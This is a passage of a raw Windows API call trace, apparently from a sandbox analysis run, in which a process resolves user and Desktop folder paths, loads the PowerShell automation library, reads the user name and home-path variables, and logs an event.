ftLastWriteTime.dwLowDateTime=0xa7f4ccf0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0052.867] GetLastError () returned 0xcb [0052.867] SetErrorMode (uMode=0x1) returned 0x1 [0052.867] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0052.867] GetLastError () returned 0xcb [0052.867] SetErrorMode (uMode=0x1) returned 0x1 [0052.867] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x27e470 | out: lpFileInformation=0x27e470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7f4ccf0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa7f4ccf0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0052.867] GetLastError () returned 0xcb [0052.867] SetErrorMode (uMode=0x1) returned 0x1 [0052.867] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27e004, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0052.867] GetLastError () returned 0xcb [0052.867] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x27dfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0052.867] GetLastError () returned 0xcb [0052.867] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0x27dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11 [0052.867] GetLastError () returned 0xcb [0052.867] SetErrorMode (uMode=0x1) returned 0x1 [0052.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0x27e470 | out: lpFileInformation=0x27e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.868] GetLastError () returned 0xcb [0052.868] SetErrorMode (uMode=0x1) returned 0x1 [0052.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0x27dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11 [0052.868] GetLastError () returned 0xcb [0052.868] SetErrorMode (uMode=0x1) returned 0x1 [0052.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0x27e470 | out: lpFileInformation=0x27e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.868] GetLastError () returned 0xcb [0052.868] SetErrorMode (uMode=0x1) returned 0x1 [0052.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0x27e004, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11 [0052.868] GetLastError () returned 0xcb [0052.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\.", nBufferLength=0x105, lpBuffer=0x27dfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11 [0052.868] GetLastError () returned 0xcb [0052.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.868] GetLastError () returned 0xcb [0052.868] SetErrorMode (uMode=0x1) returned 0x1 [0052.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27e470 | out: lpFileInformation=0x27e470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.868] GetLastError () returned 0xcb [0052.868] SetErrorMode (uMode=0x1) returned 0x1 [0052.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27dff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.868] GetLastError () returned 0xcb [0052.868] SetErrorMode (uMode=0x1) returned 0x1 [0052.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27e470 | out: lpFileInformation=0x27e470*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.868] GetLastError () returned 0xcb [0052.868] SetErrorMode (uMode=0x1) returned 0x1 [0052.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27e004, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.868] GetLastError () returned 0xcb [0052.868] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x27dfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.868] GetLastError () returned 0xcb [0052.868] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27dffc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0052.869] GetLastError () returned 0xcb [0052.869] SetErrorMode (uMode=0x1) returned 0x1 [0052.869] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x27e47c | out: lpFileInformation=0x27e47c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7f4ccf0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa7f4ccf0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0052.869] GetLastError () returned 0xcb [0052.869] SetErrorMode (uMode=0x1) returned 0x1 [0052.869] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27dffc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0052.869] GetLastError () returned 0xcb [0052.869] SetErrorMode (uMode=0x1) returned 0x1 [0052.869] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x27e47c | out: lpFileInformation=0x27e47c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa7f4ccf0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa7f4ccf0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0052.869] GetLastError () returned 0xcb [0052.869] SetErrorMode (uMode=0x1) returned 0x1 [0052.869] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0052.869] GetLastError () returned 0xcb [0052.869] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x27dfac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0052.869] GetLastError () returned 0xcb [0052.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0x27dffc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11 [0052.869] GetLastError () returned 0xcb [0052.869] SetErrorMode (uMode=0x1) returned 0x1 [0052.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0x27e47c | out: lpFileInformation=0x27e47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.869] GetLastError () returned 0xcb [0052.869] SetErrorMode (uMode=0x1) returned 0x1 [0052.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0x27dffc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11 [0052.869] GetLastError () returned 0xcb [0052.869] SetErrorMode (uMode=0x1) returned 0x1 [0052.869] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW" (normalized: "c:\\users\\kft6utqw"), fInfoLevelId=0x0, lpFileInformation=0x27e47c | out: lpFileInformation=0x27e47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7f4ccf0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa826c9d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xa826c9d0, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.869] GetLastError () returned 0xcb [0052.869] SetErrorMode (uMode=0x1) returned 0x1 [0052.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11 [0052.869] GetLastError () returned 0xcb [0052.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\.", nBufferLength=0x105, lpBuffer=0x27dfac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW", lpFilePart=0x0) returned 0x11 [0052.869] GetLastError () returned 0xcb [0052.869] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27dffc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.869] GetLastError () returned 0xcb [0052.869] SetErrorMode (uMode=0x1) returned 0x1 [0052.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27e47c | out: lpFileInformation=0x27e47c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.870] GetLastError () returned 0xcb [0052.870] SetErrorMode (uMode=0x1) returned 0x1 [0052.870] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27dffc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.870] GetLastError () returned 0xcb [0052.870] SetErrorMode (uMode=0x1) returned 0x1 [0052.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x27e47c | out: lpFileInformation=0x27e47c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.870] GetLastError () returned 0xcb [0052.870] SetErrorMode (uMode=0x1) returned 0x1 [0052.870] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27e010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.870] GetLastError () returned 0xcb [0052.870] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x27dfac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.870] GetLastError () returned 0xcb [0052.884] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x27e0cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0052.884] GetLastError () returned 0xcb [0052.884] SetErrorMode (uMode=0x1) returned 0x1 [0052.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2d60398 | out: lpFileInformation=0x2d60398*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.884] GetLastError () returned 0xcb [0052.884] SetErrorMode (uMode=0x1) returned 0x1 [0052.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.885] GetLastError () returned 0xcb [0052.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.885] GetLastError () returned 0xcb [0052.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.885] GetLastError () returned 0xcb [0052.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.885] GetLastError () returned 0xcb [0052.897] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e668 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e668) returned 0x1 [0052.897] GetLastError () returned 0xcb [0052.897] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e670 | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e670) returned 1 [0052.898] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2d80fcc*="Available", lpRawData=0x2d80e88) returned 1 [0052.898] GetLastError () returned 0x0 [0052.898] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.899] GetLastError () returned 0xcb [0052.899] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.899] GetLastError () returned 0xcb [0052.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e148, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.906] GetLastError () returned 0xcb [0052.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.906] GetLastError () returned 0xcb [0052.906] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.906] GetLastError () returned 0xcb [0052.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.908] GetLastError () returned 0xcb [0052.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.908] GetLastError () returned 0xcb [0052.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.908] GetLastError () returned 0xcb [0052.908] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0052.908] GetLastError () returned 0xcb [0052.908] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="\\Users\\kFT6uTQW") returned 0xf [0052.908] GetLastError () returned 0xcb [0052.908] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetCurrentProcessId () returned 0xa40 [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.909] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.909] GetLastError () returned 0xcb [0052.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e0d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.911] GetLastError () returned 0xcb [0052.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e088, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.911] GetLastError () returned 0xcb [0052.911] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e088, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.911] GetLastError () returned 0xcb [0052.911] GetFullPathNameW (in: 